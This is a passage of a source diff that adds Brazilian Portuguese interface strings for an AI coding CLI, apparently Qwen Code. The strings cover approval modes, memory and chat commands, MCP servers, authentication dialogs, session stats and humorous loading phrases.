'Falha ao alterar modo de aprovação: {{error}}', + 'Apply to current session only (temporary)': + 'Aplicar apenas à sessão atual (temporário)', + 'Persist for this project/workspace': 'Persistir para este projeto/workspace', + 'Persist for this user on this machine': + 'Persistir para este usuário nesta máquina', + 'Analyze only, do not modify files or execute commands': + 'Apenas analisar, não modificar arquivos nem executar comandos', + 'Require approval for file edits or shell commands': + 'Exigir aprovação para edições de arquivos ou comandos shell', + 'Automatically approve file edits': + 'Aprovar automaticamente edições de arquivos', + 'Automatically approve all tools': + 'Aprovar automaticamente todas as ferramentas', + 'Workspace approval mode exists and takes priority. User-level change will have no effect.': + 'O modo de aprovação do workspace existe e tem prioridade. A alteração no nível do usuário não terá efeito.', + 'Apply To': 'Aplicar A', + 'User Settings': 'Configurações do Usuário', + 'Workspace Settings': 'Configurações do Workspace', + + // ============================================================================ + // Commands - Memory + // ============================================================================ + 'Commands for interacting with memory.': + 'Comandos para interagir com a memória.', + 'Show the current memory contents.': + 'Mostrar os conteúdos atuais da memória.', + 'Show project-level memory contents.': + 'Mostrar conteúdos da memória de nível de projeto.', + 'Show global memory contents.': 'Mostrar conteúdos da memória global.', + 'Add content to project-level memory.': + 'Adicionar conteúdo à memória de nível de projeto.', + 'Add content to global memory.': 'Adicionar conteúdo à memória global.', + 'Refresh the memory from the source.': 'Atualizar a memória da fonte.', + 'Usage: /memory add --project ': + 'Uso: /memory add --project ', + 'Usage: /memory add --global ': + 'Uso: /memory add --global ', + 'Attempting to save to project memory: "{{text}}"': + 'Tentando salvar na memória do projeto: "{{text}}"', + 'Attempting to save to global memory: "{{text}}"': + 'Tentando salvar na memória global: "{{text}}"', + 'Current memory content from {{count}} file(s):': + 'Conteúdo da memória atual de {{count}} arquivo(s):', + 'Memory is currently empty.': 'A memória está vazia no momento.', + 'Project memory file not found or is currently empty.': + 'Arquivo de memória do projeto não encontrado ou está vazio.', + 'Global memory file not found or is currently empty.': + 'Arquivo de memória global não encontrado ou está vazio.', + 'Global memory is currently empty.': + 'A memória global está vazia no momento.', + 'Global memory content:\n\n---\n{{content}}\n---': + 'Conteúdo da memória global:\n\n---\n{{content}}\n---', + 'Project memory content from {{path}}:\n\n---\n{{content}}\n---': + 'Conteúdo da memória do projeto de {{path}}:\n\n---\n{{content}}\n---', + 'Project memory is currently empty.': + 'A memória do projeto está vazia no momento.', + 'Refreshing memory from source files...': + 'Atualizando memória dos arquivos fonte...', + 'Add content to the memory. Use --global for global memory or --project for project memory.': + 'Adicionar conteúdo à memória. Use --global para memória global ou --project para memória do projeto.', + 'Usage: /memory add [--global|--project] ': + 'Uso: /memory add [--global|--project] ', + 'Attempting to save to memory {{scope}}: "{{fact}}"': + 'Tentando salvar na memória {{scope}}: "{{fact}}"', + + // ============================================================================ + // Commands - MCP + // ============================================================================ + 'Authenticate with an OAuth-enabled MCP server': + 'Autenticar com um servidor MCP habilitado para OAuth', + 'List configured MCP servers and tools': + 'Listar servidores e ferramentas MCP configurados', + 'Restarts MCP servers.': 'Reinicia os servidores MCP.', + 'Config not loaded.': 'Configuração não carregada.', + 'Could not retrieve tool registry.': + 'Não foi possível recuperar o registro de ferramentas.', + 'No MCP servers configured with OAuth authentication.': + 'Nenhum servidor MCP configurado com autenticação OAuth.', + 'MCP servers with OAuth authentication:': + 'Servidores MCP com autenticação OAuth:', + 'Use /mcp auth to authenticate.': + 'Use /mcp auth para autenticar.', + "MCP server '{{name}}' not found.": "Servidor MCP '{{name}}' não encontrado.", + "Successfully authenticated and refreshed tools for '{{name}}'.": + "Autenticado com sucesso e ferramentas atualizadas para '{{name}}'.", + "Failed to authenticate with MCP server '{{name}}': {{error}}": + "Falha ao autenticar com o servidor MCP '{{name}}': {{error}}", + "Re-discovering tools from '{{name}}'...": + "Redescobrindo ferramentas de '{{name}}'...", + + // ============================================================================ + // Commands - Chat + // ============================================================================ + 'Manage conversation history.': 'Gerenciar histórico de conversas.', + 'List saved conversation checkpoints': + 'Listar checkpoints de conversa salvos', + 'No saved conversation checkpoints found.': + 'Nenhum checkpoint de conversa salvo encontrado.', + 'List of saved conversations:': 'Lista de conversas salvas:', + 'Note: Newest last, oldest first': + 'Nota: Mais novos por último, mais antigos primeiro', + 'Save the current conversation as a checkpoint. Usage: /chat save ': + 'Salvar a conversa atual como um checkpoint. Uso: /chat save ', + 'Missing tag. Usage: /chat save ': 'Tag ausente. Uso: /chat save ', + 'Delete a conversation checkpoint. Usage: /chat delete ': + 'Excluir um checkpoint de conversa. Uso: /chat delete ', + 'Missing tag. Usage: /chat delete ': + 'Tag ausente. Uso: /chat delete ', + "Conversation checkpoint '{{tag}}' has been deleted.": + "O checkpoint de conversa '{{tag}}' foi excluído.", + "Error: No checkpoint found with tag '{{tag}}'.": + "Erro: Nenhum checkpoint encontrado com a tag '{{tag}}'.", + 'Resume a conversation from a checkpoint. Usage: /chat resume ': + 'Retomar uma conversa de um checkpoint. Uso: /chat resume ', + 'Missing tag. Usage: /chat resume ': + 'Tag ausente. Uso: /chat resume ', + 'No saved checkpoint found with tag: {{tag}}.': + 'Nenhum checkpoint salvo encontrado com a tag: {{tag}}.', + 'A checkpoint with the tag {{tag}} already exists. Do you want to overwrite it?': + 'Um checkpoint com a tag {{tag}} já existe. Você deseja substituí-lo?', + 'No chat client available to save conversation.': + 'Nenhum cliente de chat disponível para salvar a conversa.', + 'Conversation checkpoint saved with tag: {{tag}}.': + 'Checkpoint de conversa salvo com a tag: {{tag}}.', + 'No conversation found to save.': 'Nenhuma conversa encontrada para salvar.', + 'No chat client available to share conversation.': + 'Nenhum cliente de chat disponível para compartilhar a conversa.', + 'Invalid file format. Only .md and .json are supported.': + 'Formato de arquivo inválido. Apenas .md e .json são suportados.', + 'Error sharing conversation: {{error}}': + 'Erro ao compartilhar conversa: {{error}}', + 'Conversation shared to {{filePath}}': + 'Conversa compartilhada em {{filePath}}', + 'No conversation found to share.': + 'Nenhuma conversa encontrada para compartilhar.', + 'Share the current conversation to a markdown or json file. Usage: /chat share ': + 'Compartilhar a conversa atual para um arquivo markdown ou json. Uso: /chat share ', + + // ============================================================================ + // Commands - Summary + // ============================================================================ + 'Generate a project summary and save it to .qwen/PROJECT_SUMMARY.md': + 'Gerar um resumo do projeto e salvá-lo em .qwen/PROJECT_SUMMARY.md', + 'No chat client available to generate summary.': + 'Nenhum cliente de chat disponível para gerar o resumo.', + 'Already generating summary, wait for previous request to complete': + 'Já gerando resumo, aguarde a conclusão da solicitação anterior', + 'No conversation found to summarize.': + 'Nenhuma conversa encontrada para resumir.', + 'Failed to generate project context summary: {{error}}': + 'Falha ao gerar resumo do contexto do projeto: {{error}}', + 'Saved project summary to {{filePathForDisplay}}.': + 'Resumo do projeto salvo em {{filePathForDisplay}}.', + 'Saving project summary...': 'Salvando resumo do projeto...', + 'Generating project summary...': 'Gerando resumo do projeto...', + 'Failed to generate summary - no text content received from LLM response': + 'Falha ao gerar resumo - nenhum conteúdo de texto recebido da resposta do LLM', + + // ============================================================================ + // Commands - Model + // ============================================================================ + 'Switch the model for this session': 'Trocar o modelo para esta sessão', + 'Content generator configuration not available.': + 'Configuração do gerador de conteúdo não disponível.', + 'Authentication type not available.': 'Tipo de autenticação não disponível.', + 'No models available for the current authentication type ({{authType}}).': + 'Nenhum modelo disponível para o tipo de autenticação atual ({{authType}}).', + + // ============================================================================ + // Commands - Clear + // ============================================================================ + 'Starting a new session, resetting chat, and clearing terminal.': + 'Iniciando uma nova sessão, resetando o chat e limpando o terminal.', + 'Starting a new session and clearing.': + 'Iniciando uma nova sessão e limpando.', + + // ============================================================================ + // Commands - Compress + // ============================================================================ + 'Already compressing, wait for previous request to complete': + 'Já comprimindo, aguarde a conclusão da solicitação anterior', + 'Failed to compress chat history.': 'Falha ao comprimir histórico do chat.', + 'Failed to compress chat history: {{error}}': + 'Falha ao comprimir histórico do chat: {{error}}', + 'Compressing chat history': 'Comprimindo histórico do chat', + 'Chat history compressed from {{originalTokens}} to {{newTokens}} tokens.': + 'Histórico do chat comprimido de {{originalTokens}} para {{newTokens}} tokens.', + 'Compression was not beneficial for this history size.': + 'A compressão não foi benéfica para este tamanho de histórico.', + 'Chat history compression did not reduce size. This may indicate issues with the compression prompt.': + 'A compressão do histórico do chat não reduziu o tamanho. Isso pode indicar problemas com o prompt de compressão.', + 'Could not compress chat history due to a token counting error.': + 'Não foi possível comprimir o histórico do chat devido a um erro de contagem de tokens.', + 'Chat history is already compressed.': + 'O histórico do chat já está comprimido.', + + // ============================================================================ + // Commands - Directory + // ============================================================================ + 'Configuration is not available.': 'A configuração não está disponível.', + 'Please provide at least one path to add.': + 'Forneça pelo menos um caminho para adicionar.', + 'The /directory add command is not supported in restrictive sandbox profiles. Please use --include-directories when starting the session instead.': + 'O comando /directory add não é suportado em perfis de sandbox restritivos. Use --include-directories ao iniciar a sessão.', + "Error adding '{{path}}': {{error}}": + "Erro ao adicionar '{{path}}': {{error}}", + 'Successfully added QWEN.md files from the following directories if there are:\n- {{directories}}': + 'Arquivos QWEN.md adicionados com sucesso dos seguintes diretórios, se houverem:\n- {{directories}}', + 'Error refreshing memory: {{error}}': 'Erro ao atualizar memória: {{error}}', + 'Successfully added directories:\n- {{directories}}': + 'Diretórios adicionados com sucesso:\n- {{directories}}', + 'Current workspace directories:\n{{directories}}': + 'Diretórios atuais do workspace:\n{{directories}}', + + // ============================================================================ + // Commands - Docs + // ============================================================================ + 'Please open the following URL in your browser to view the documentation:\n{{url}}': + 'Abra a seguinte URL no seu navegador para ver a documentação:\n{{url}}', + 'Opening documentation in your browser: {{url}}': + 'Abrindo documentação no seu navegador: {{url}}', + + // ============================================================================ + // Dialogs - Tool Confirmation + // ============================================================================ + 'Do you want to proceed?': 'Você deseja prosseguir?', + 'Yes, allow once': 'Sim, permitir uma vez', + 'Allow always': 'Permitir sempre', + No: 'Não', + 'No (esc)': 'Não (esc)', + 'Yes, allow always for this session': 'Sim, permitir sempre para esta sessão', + 'Modify in progress:': 'Modificação em progresso:', + 'Save and close external editor to continue': + 'Salve e feche o editor externo para continuar', + 'Apply this change?': 'Aplicar esta alteração?', + 'Yes, allow always': 'Sim, permitir sempre', + 'Modify with external editor': 'Modificar com editor externo', + 'No, suggest changes (esc)': 'Não, sugerir alterações (esc)', + "Allow execution of: '{{command}}'?": + "Permitir a execução de: '{{command}}'?", + 'Yes, allow always ...': 'Sim, permitir sempre ...', + 'Yes, and auto-accept edits': 'Sim, e aceitar edições automaticamente', + 'Yes, and manually approve edits': 'Sim, e aprovar edições manualmente', + 'No, keep planning (esc)': 'Não, continuar planejando (esc)', + 'URLs to fetch:': 'URLs para buscar:', + 'MCP Server: {{server}}': 'Servidor MCP: {{server}}', + 'Tool: {{tool}}': 'Ferramenta: {{tool}}', + 'Allow execution of MCP tool "{{tool}}" from server "{{server}}"?': + 'Permitir a execução da ferramenta MCP "{{tool}}" do servidor "{{server}}"?', + 'Yes, always allow tool "{{tool}}" from server "{{server}}"': + 'Sim, sempre permitir a ferramenta "{{tool}}" do servidor "{{server}}"', + 'Yes, always allow all tools from server "{{server}}"': + 'Sim, sempre permitir todas as ferramentas do servidor "{{server}}"', + + // ============================================================================ + // Dialogs - Shell Confirmation + // ============================================================================ + 'Shell Command Execution': 'Execução de Comando Shell', + 'A custom command wants to run the following shell commands:': + 'Um comando personalizado deseja executar os seguintes comandos shell:', + + // ============================================================================ + // Dialogs - Pro Quota + // ============================================================================ + 'Pro quota limit reached for {{model}}.': + 'Limite de cota Pro atingido para {{model}}.', + 'Change auth (executes the /auth command)': + 'Alterar autenticação (executa o comando /auth)', + 'Continue with {{model}}': 'Continuar com {{model}}', + + // ============================================================================ + // Dialogs - Welcome Back + // ============================================================================ + 'Current Plan:': 'Plano Atual:', + 'Progress: {{done}}/{{total}} tasks completed': + 'Progresso: {{done}}/{{total}} tarefas concluídas', + ', {{inProgress}} in progress': ', {{inProgress}} em progresso', + 'Pending Tasks:': 'Tarefas Pendentes:', + 'What would you like to do?': 'O que você gostaria de fazer?', + 'Choose how to proceed with your session:': + 'Escolha como proceder com sua sessão:', + 'Start new chat session': 'Iniciar nova sessão de chat', + 'Continue previous conversation': 'Continuar conversa anterior', + '👋 Welcome back! (Last updated: {{timeAgo}})': + '👋 Bem-vindo de volta! (Última atualização: {{timeAgo}})', + '🎯 Overall Goal:': '🎯 Objetivo Geral:', + + // ============================================================================ + // Dialogs - Auth + // ============================================================================ + 'Get started': 'Começar', + 'How would you like to authenticate for this project?': + 'Como você gostaria de se autenticar para este projeto?', + 'OpenAI API key is required to use OpenAI authentication.': + 'A chave da API do OpenAI é necessária para usar a autenticação do OpenAI.', + 'You must select an auth method to proceed. Press Ctrl+C again to exit.': + 'Você deve selecionar um método de autenticação para prosseguir. Pressione Ctrl+C novamente para sair.', + '(Use Enter to Set Auth)': '(Use Enter para Definir Autenticação)', + 'Terms of Services and Privacy Notice for Qwen Code': + 'Termos de Serviço e Aviso de Privacidade do Qwen Code', + 'Qwen OAuth': 'Qwen OAuth', + OpenAI: 'OpenAI', + 'Failed to login. Message: {{message}}': + 'Falha ao fazer login. Mensagem: {{message}}', + 'Authentication is enforced to be {{enforcedType}}, but you are currently using {{currentType}}.': + 'A autenticação é forçada para {{enforcedType}}, mas você está usando {{currentType}} no momento.', + 'Qwen OAuth authentication timed out. Please try again.': + 'A autenticação Qwen OAuth expirou. Tente novamente.', + 'Qwen OAuth authentication cancelled.': 'Autenticação Qwen OAuth cancelada.', + 'Qwen OAuth Authentication': 'Autenticação Qwen OAuth', + 'Please visit this URL to authorize:': 'Visite esta URL para autorizar:', + 'Or scan the QR code below:': 'Ou escaneie o código QR abaixo:', + 'Waiting for authorization': 'Aguardando autorização', + 'Time remaining:': 'Tempo restante:', + '(Press ESC or CTRL+C to cancel)': '(Pressione ESC ou CTRL+C para cancelar)', + 'Qwen OAuth Authentication Timeout': + 'Tempo Limite de Autenticação Qwen OAuth', + 'OAuth token expired (over {{seconds}} seconds). Please select authentication method again.': + 'Token OAuth expirado (mais de {{seconds}} segundos). Selecione o método de autenticação novamente.', + 'Press any key to return to authentication type selection.': + 'Pressione qualquer tecla para retornar à seleção do tipo de autenticação.', + 'Waiting for Qwen OAuth authentication...': + 'Aguardando autenticação Qwen OAuth...', + 'Note: Your existing API key in settings.json will not be cleared when using Qwen OAuth. You can switch back to OpenAI authentication later if needed.': + 'Nota: Sua chave de API existente no settings.json não será limpa ao usar o Qwen OAuth. Você pode voltar para a autenticação do OpenAI mais tarde, se necessário.', + 'Authentication timed out. Please try again.': + 'A autenticação expirou. Tente novamente.', + 'Waiting for auth... (Press ESC or CTRL+C to cancel)': + 'Aguardando autenticação... (Pressione ESC ou CTRL+C para cancelar)', + 'Missing API key for OpenAI-compatible auth. Set settings.security.auth.apiKey, or set the {{envKeyHint}} environment variable.': + 'Chave de API ausente para autenticação compatível com OpenAI. Defina settings.security.auth.apiKey ou a variável de ambiente {{envKeyHint}}.', + '{{envKeyHint}} environment variable not found.': + 'Variável de ambiente {{envKeyHint}} não encontrada.', + '{{envKeyHint}} environment variable not found. Please set it in your .env file or environment variables.': + 'Variável de ambiente {{envKeyHint}} não encontrada. Defina-a no seu arquivo .env ou variáveis de ambiente.', + '{{envKeyHint}} environment variable not found (or set settings.security.auth.apiKey). Please set it in your .env file or environment variables.': + 'Variável de ambiente {{envKeyHint}} não encontrada (ou defina settings.security.auth.apiKey). Defina-a no seu arquivo .env ou variáveis de ambiente.', + 'Missing API key for OpenAI-compatible auth. Set the {{envKeyHint}} environment variable.': + 'Chave de API ausente para autenticação compatível com OpenAI. Defina a variável de ambiente {{envKeyHint}}.', + 'Anthropic provider missing required baseUrl in modelProviders[].baseUrl.': + 'Provedor Anthropic sem a baseUrl necessária em modelProviders[].baseUrl.', + 'ANTHROPIC_BASE_URL environment variable not found.': + 'Variável de ambiente ANTHROPIC_BASE_URL não encontrada.', + 'Invalid auth method selected.': + 'Método de autenticação inválido selecionado.', + 'Failed to authenticate. Message: {{message}}': + 'Falha ao autenticar. Mensagem: {{message}}', + 'Authenticated successfully with {{authType}} credentials.': + 'Autenticado com sucesso com credenciais {{authType}}.', + 'Invalid QWEN_DEFAULT_AUTH_TYPE value: "{{value}}". Valid values are: {{validValues}}': + 'Valor QWEN_DEFAULT_AUTH_TYPE inválido: "{{value}}". Valores válidos são: {{validValues}}', + 'OpenAI Configuration Required': 'Configuração do OpenAI Necessária', + 'Please enter your OpenAI configuration. You can get an API key from': + 'Insira sua configuração do OpenAI. Você pode obter uma chave de API de', + 'API Key:': 'Chave da API:', + 'Invalid credentials: {{errorMessage}}': + 'Credenciais inválidas: {{errorMessage}}', + 'Failed to validate credentials': 'Falha ao validar credenciais', + 'Press Enter to continue, Tab/↑↓ to navigate, Esc to cancel': + 'Pressione Enter para continuar, Tab/↑↓ para navegar, Esc para cancelar', + + // ============================================================================ + // Dialogs - Model + // ============================================================================ + 'Select Model': 'Selecionar Modelo', + '(Press Esc to close)': '(Pressione Esc para fechar)', + 'Current (effective) configuration': 'Configuração atual (efetiva)', + AuthType: 'AuthType', + 'API Key': 'Chave da API', + unset: 'não definido', + '(default)': '(padrão)', + '(set)': '(definido)', + '(not set)': '(não definido)', + "Failed to switch model to '{{modelId}}'.\n\n{{error}}": + "Falha ao trocar o modelo para '{{modelId}}'.\n\n{{error}}", + 'The latest Qwen Coder model from Alibaba Cloud ModelStudio (version: qwen3-coder-plus-2025-09-23)': + 'O modelo Qwen Coder mais recente do Alibaba Cloud ModelStudio (versão: qwen3-coder-plus-2025-09-23)', + 'The latest Qwen Vision model from Alibaba Cloud ModelStudio (version: qwen3-vl-plus-2025-09-23)': + 'O modelo Qwen Vision mais recente do Alibaba Cloud ModelStudio (versão: qwen3-vl-plus-2025-09-23)', + + // ============================================================================ + // Dialogs - Permissions + // ============================================================================ + 'Manage folder trust settings': + 'Gerenciar configurações de confiança de pasta', + + // ============================================================================ + // Status Bar + // ============================================================================ + 'Using:': 'Usando:', + '{{count}} open file': '{{count}} arquivo aberto', + '{{count}} open files': '{{count}} arquivos abertos', + '(ctrl+g to view)': '(ctrl+g para ver)', + '{{count}} {{name}} file': '{{count}} arquivo {{name}}', + '{{count}} {{name}} files': '{{count}} arquivos {{name}}', + '{{count}} MCP server': '{{count}} servidor MCP', + '{{count}} MCP servers': '{{count}} servidores MCP', + '{{count}} Blocked': '{{count}} Bloqueados', + '(ctrl+t to view)': '(ctrl+t para ver)', + '(ctrl+t to toggle)': '(ctrl+t para alternar)', + 'Press Ctrl+C again to exit.': 'Pressione Ctrl+C novamente para sair.', + 'Press Ctrl+D again to exit.': 'Pressione Ctrl+D novamente para sair.', + 'Press Esc again to clear.': 'Pressione Esc novamente para limpar.', + + // ============================================================================ + // MCP Status + // ============================================================================ + 'No MCP servers configured.': 'Nenhum servidor MCP configurado.', + 'Please view MCP documentation in your browser:': + 'Veja a documentação do MCP no seu navegador:', + 'or use the cli /docs command': 'ou use o comando cli /docs', + '⏳ MCP servers are starting up ({{count}} initializing)...': + '⏳ Servidores MCP estão iniciando ({{count}} inicializando)...', + 'Note: First startup may take longer. Tool availability will update automatically.': + 'Nota: A primeira inicialização pode demorar mais. A disponibilidade da ferramenta será atualizada automaticamente.', + 'Configured MCP servers:': 'Servidores MCP configurados:', + Ready: 'Pronto', + 'Starting... (first startup may take longer)': + 'Iniciando... (a primeira inicialização pode demorar mais)', + Disconnected: 'Desconectado', + '{{count}} tool': '{{count}} ferramenta', + '{{count}} tools': '{{count}} ferramentas', + '{{count}} prompt': '{{count}} prompt', + '{{count}} prompts': '{{count}} prompts', + '(from {{extensionName}})': '(de {{extensionName}})', + OAuth: 'OAuth', + 'OAuth expired': 'OAuth expirado', + 'OAuth not authenticated': 'OAuth não autenticado', + 'tools and prompts will appear when ready': + 'ferramentas e prompts aparecerão quando estiverem prontos', + '{{count}} tools cached': '{{count}} ferramentas em cache', + 'Tools:': 'Ferramentas:', + 'Parameters:': 'Parâmetros:', + 'Prompts:': 'Prompts:', + Blocked: 'Bloqueado', + '💡 Tips:': '💡 Dicas:', + Use: 'Use', + 'to show server and tool descriptions': + 'para mostrar descrições de servidores e ferramentas', + 'to show tool parameter schemas': + 'para mostrar esquemas de parâmetros de ferramentas', + 'to hide descriptions': 'para ocultar descrições', + 'to authenticate with OAuth-enabled servers': + 'para autenticar com servidores habilitados para OAuth', + Press: 'Pressione', + 'to toggle tool descriptions on/off': + 'para alternar descrições de ferramentas ligadas/desligadas', + "Starting OAuth authentication for MCP server '{{name}}'...": + "Iniciando autenticação OAuth para servidor MCP '{{name}}'...", + 'Restarting MCP servers...': 'Reiniciando servidores MCP...', + + // ============================================================================ + // Startup Tips + // ============================================================================ + 'Tips:': 'Dicas:', + 'Use /compress when the conversation gets long to summarize history and free up context.': + 'Use /compress quando a conversa ficar longa para resumir o histórico e liberar contexto.', + 'Start a fresh idea with /clear or /new; the previous session stays available in history.': + 'Comece uma nova ideia com /clear ou /new; a sessão anterior permanece disponível no histórico.', + 'Use /bug to submit issues to the maintainers when something goes off.': + 'Use /bug para enviar problemas aos mantenedores quando algo der errado.', + 'Switch auth type quickly with /auth.': + 'Troque o tipo de autenticação rapidamente com /auth.', + 'You can run any shell commands from Qwen Code using ! (e.g. !ls).': + 'Você pode executar quaisquer comandos shell do Qwen Code usando ! (ex: !ls).', + 'Type / to open the command popup; Tab autocompletes slash commands and saved prompts.': + 'Digite / para abrir o popup de comandos; Tab autocompleta comandos de barra e prompts salvos.', + 'You can resume a previous conversation by running qwen --continue or qwen --resume.': + 'Você pode retomar uma conversa anterior executando qwen --continue ou qwen --resume.', + 'You can switch permission mode quickly with Shift+Tab or /approval-mode.': + 'Você pode alternar o modo de permissão rapidamente com Shift+Tab ou /approval-mode.', + + // ============================================================================ + // Exit Screen / Stats + // ============================================================================ + 'Agent powering down. Goodbye!': 'Agente desligando. Adeus!', + 'To continue this session, run': 'Para continuar esta sessão, execute', + 'Interaction Summary': 'Resumo da Interação', + 'Session ID:': 'ID da Sessão:', + 'Tool Calls:': 'Chamadas de Ferramenta:', + 'Success Rate:': 'Taxa de Sucesso:', + 'User Agreement:': 'Acordo do Usuário:', + reviewed: 'revisado', + 'Code Changes:': 'Alterações de Código:', + Performance: 'Desempenho', + 'Wall Time:': 'Tempo Total:', + 'Agent Active:': 'Agente Ativo:', + 'API Time:': 'Tempo de API:', + 'Tool Time:': 'Tempo de Ferramenta:', + 'Session Stats': 'Estatísticas da Sessão', + 'Model Usage': 'Uso do Modelo', + Reqs: 'Reqs', + 'Input Tokens': 'Tokens de Entrada', + 'Output Tokens': 'Tokens de Saída', + 'Savings Highlight:': 'Destaque de Economia:', + 'of input tokens were served from the cache, reducing costs.': + 'de tokens de entrada foram servidos do cache, reduzindo custos.', + 'Tip: For a full token breakdown, run `/stats model`.': + 'Dica: Para um detalhamento completo de tokens, execute `/stats model`.', + 'Model Stats For Nerds': 'Estatísticas de Modelo Para Nerds', + 'Tool Stats For Nerds': 'Estatísticas de Ferramenta Para Nerds', + Metric: 'Métrica', + API: 'API', + Requests: 'Solicitações', + Errors: 'Erros', + 'Avg Latency': 'Latência Média', + Tokens: 'Tokens', + Total: 'Total', + Prompt: 'Prompt', + Cached: 'Cacheado', + Thoughts: 'Pensamentos', + Tool: 'Ferramenta', + Output: 'Saída', + 'No API calls have been made in this session.': + 'Nenhuma chamada de API foi feita nesta sessão.', + 'Tool Name': 'Nome da Ferramenta', + Calls: 'Chamadas', + 'Success Rate': 'Taxa de Sucesso', + 'Avg Duration': 'Duração Média', + 'User Decision Summary': 'Resumo de Decisão do Usuário', + 'Total Reviewed Suggestions:': 'Total de Sugestões Revisadas:', + ' » Accepted:': ' » Aceitas:', + ' » Rejected:': ' » Rejeitadas:', + ' » Modified:': ' » Modificadas:', + ' Overall Agreement Rate:': ' Taxa Geral de Acordo:', + 'No tool calls have been made in this session.': + 'Nenhuma chamada de ferramenta foi feita nesta sessão.', + 'Session start time is unavailable, cannot calculate stats.': + 'Hora de início da sessão indisponível, não é possível calcular estatísticas.', + + // ============================================================================ + // Command Format Migration + // ============================================================================ + 'Command Format Migration': 'Migração de Formato de Comando', + 'Found {{count}} TOML command file:': + 'Encontrado {{count}} arquivo de comando TOML:', + 'Found {{count}} TOML command files:': + 'Encontrados {{count}} arquivos de comando TOML:', + '... and {{count}} more': '... e mais {{count}}', + 'The TOML format is deprecated. Would you like to migrate them to Markdown format?': + 'O formato TOML está obsoleto. Você gostaria de migrá-los para o formato Markdown?', + '(Backups will be created and original files will be preserved)': + '(Backups serão criados e arquivos originais serão preservados)', + + // ============================================================================ + // Loading Phrases + // ============================================================================ + 'Waiting for user confirmation...': 'Aguardando confirmação do usuário...', + '(esc to cancel, {{time}})': '(esc para cancelar, {{time}})', + + WITTY_LOADING_PHRASES: [ + 'Estou com sorte', + 'Enviando maravilhas...', + 'Pintando os serifos de volta...', + 'Navegando pelo mofo limoso...', + 'Consultando os espíritos digitais...', + 'Reticulando splines...', + 'Aquecendo os hamsters da IA...', + 'Perguntando à concha mágica...', + 'Gerando réplica espirituosa...', + 'Polindo os algoritmos...', + 'Não apresse a perfeição (ou meu código)...', + 'Preparando bytes frescos...', + 'Contando elétrons...', + 'Engajando processadores cognitivos...', + 'Verificando erros de sintaxe no universo...', + 'Um momento, otimizando o humor...', + 'Embaralhando piadas...', + 'Desembaraçando redes neurais...', + 'Compilando brilhantismo...', + 'Carregando humor.exe...', + 'Invocando a nuvem da sabedoria...', + 'Preparando uma resposta espirituosa...', + 'Só um segundo, estou depurando a realidade...', + 'Confundindo as opções...', + 'Sintonizando as frequências cósmicas...', + 'Criando uma resposta digna da sua paciência...', + 'Compilando os 1s e 0s...', + 'Resolvendo dependências... e crises existenciais...', + 'Desfragmentando memórias... tanto RAM quanto pessoais...', + 'Reiniciando o módulo de humor...', + 'Fazendo cache do essencial (principalmente memes de gatos)...', + 'Otimizando para velocidade absurda', + 'Trocando bits... não conte para os bytes...', + 'Coletando lixo... volto já...', + 'Montando a internet...', + 'Convertendo café em código...', + 'Atualizando a sintaxe da realidade...', + 'Reconectando as sinapses...', + 'Procurando um ponto e vírgula perdido...', + 'Lubrificando as engrenagens da máquina...', + 'Pré-aquecendo os servidores...', + 'Calibrando o capacitor de fluxo...', + 'Engajando o motor de improbabilidade...', + 'Canalizando a Força...', + 'Alinhando as estrelas para uma resposta ideal...', + 'Assim dizemos todos...', + 'Carregando a próxima grande ideia...', + 'Só um momento, estou na zona...', + 'Preparando para deslumbrá-lo com brilhantismo...', + 'Só um tique, estou polindo minha inteligência...', + 'Segure firme, estou criando uma obra-prima...', + 'Só um instante, estou depurando o universo...', + 'Só um momento, estou alinhando os pixels...', + 'Só um segundo, estou otimizando o humor...', + 'Só um momento, estou ajustando os algoritmos...', + 'Velocidade de dobra engajada...', + 'Minerando mais cristais de Dilithium...', + 'Não entre em pânico...', + 'Seguindo o coelho branco...', + 'A verdade está lá fora... em algum lugar...', + 'Soprando o cartucho...', + 'Carregando... Faça um barrel roll!', + 'Aguardando o respawn...', + 'Terminando a Kessel Run em menos de 12 parsecs...', + 'O bolo não é uma mentira, só ainda está carregando...', + 'Mexendo na tela de criação de personagem...', + 'Só um momento, estou encontrando o meme certo...', + "Pressionando 'A' para continuar...", + 'Pastoreando gatos digitais...', + 'Polindo os pixels...', + 'Encontrando um trocadilho adequado para a tela de carregamento...', + 'Distraindo você com esta frase espirituosa...', + 'Quase lá... provavelmente...', + 'Nossos hamsters estão trabalhando o mais rápido que podem...', + 'Dando um tapinha na cabeça do Cloudy...', + 'Acariciando o gato...', + 'Dando um Rickroll no meu chefe...', + 'Never gonna give you up, never gonna let you down...', + 'Tocando o baixo...', + 'Provando as amoras...', + 'Estou indo longe, estou indo pela velocidade...', + 'Isso é vida real? Ou é apenas fantasia?...', + 'Tenho um bom pressentimento sobre isso...', + 'Cutucando o urso...', + 'Fazendo pesquisa sobre os últimos memes...', + 'Descobrindo como tornar isso mais espirituoso...', + 'Hmmm... deixe-me pensar...', + 'O que você chama de um peixe sem olhos? Um pxe...', + 'Por que o computador foi à terapia? Porque tinha muitos bytes...', + 'Por que programadores não gostam da natureza? Porque tem muitos bugs...', + 'Por que programadores preferem o modo escuro? Porque a luz atrai bugs...', + 'Por que o desenvolvedor faliu? Porque usou todo o seu cache...', + 'O que você pode fazer com um lápis quebrado? Nada, ele não tem ponta...', + 'Aplicando manutenção percussiva...', + 'Procurando a orientação correta do USB...', + 'Garantindo que a fumaça mágica permaneça dentro dos fios...', + 'Tentando sair do Vim...', + 'Girando a roda do hamster...', + 'Isso não é um bug, é um recurso não documentado...', + 'Engajar.', + 'Eu voltarei... com uma resposta.', + 'Meu outro processo é uma TARDIS...', + 'Comungando com o espírito da máquina...', + 'Deixando os pensamentos marinarem...', + 'Lembrei agora onde coloquei minhas chaves...', + 'Ponderando a orbe...', + 'Eu vi coisas que vocês não acreditariam... como um usuário que lê mensagens de carregamento.', + 'Iniciando olhar pensativo...', + 'Qual é o lanche favorito de um computador? Microchips.', + 'Por que desenvolvedores Java usam óculos? Porque eles não C#.', + 'Carregando o laser... pew pew!', + 'Dividindo por zero... só brincando!', + 'Procurando por um supervisor adulto... digo, processando.', + 'Fazendo bip boop.', + 'Buffering... porque até as IAs precisam de um momento.', + 'Entrelaçando partículas quânticas para uma resposta mais rápida...', + 'Polindo o cromo... nos algoritmos.', + 'Você não está entretido? (Trabalhando nisso!)', + 'Invocando os gremlins do código... para ajudar, é claro.', + 'Só esperando o som da conexão discada terminar...', + 'Recalibrando o humorômetro.', + 'Minha outra tela de carregamento é ainda mais engraçada.', + 'Tenho quase certeza que tem um gato andando no teclado em algum lugar...', + 'Aumentando... Aumentando... Ainda carregando.', + 'Não é um bug, 